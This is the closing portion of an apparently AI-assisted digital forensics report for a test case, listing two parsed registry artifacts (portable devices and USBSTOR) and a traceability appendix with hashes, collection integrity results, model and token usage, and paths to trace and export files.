Registry: portable devices (WPD)	RECmd	validated	1	2020-09-19 05:08:59.765675	2020-09-19 05:08:59.765675
Registry: USBSTOR	RECmd	validated	1	2020-09-19 05:08:58.406346	2020-09-19 05:08:58.406346

Appendix F: Traceability

DuckDB database	C:\Sleuthline\cases\test04\db\case.duckdb SHA-256 b927c3176f6edd071ce009bfdc7c27966db091b024124998126d6298ede3ed84
Pipeline version	commit 9615b51f9227; content sha256 507779379B984D32; deployed 2026-10-21 08:56
Collection integrity	INTACT: 2703 file(s) matching the SHA-1 recorded by KAPE, 0 different, 0 missing, 0 without KAPE hash, 0 expected difference(s) on files copied live in raw mode (checked on 2026-10-25T20:16:47+01:00) After parsing: no collection file modified by parsing
Normalization mappings	v2.2 sha256 8a32b59741d3439e43d8b015c92d36d65fbfff14a8f28ae100ad78305263d1ac
Model	anthropic / claude-opus-5-5
Agent runs	2026-10-25T19:54:01Z → 2026-10-25T20:19:38Z: anthropic/claude-opus-5-5, playbook sha256 0833d7d614f54875…
Usage	15,895,929 input tokens (of which 15,058,002 read from cache), 164,709 output tokens, 237 calls
Full trace	C:\Sleuthline\cases\test04\analysis\transcript.jsonl: every SQL query, result and model answer
Analysis state	C:\Sleuthline\cases\test04\analysis\findings.json
Exports	iocs.csv, key_timeline.csv, incident_timeline.csv
Reference format	<output relative to parsed>#<record number>: CSV data line (header excluded) or JSONL line
Report generated on	2026-10-25 20:19 UTC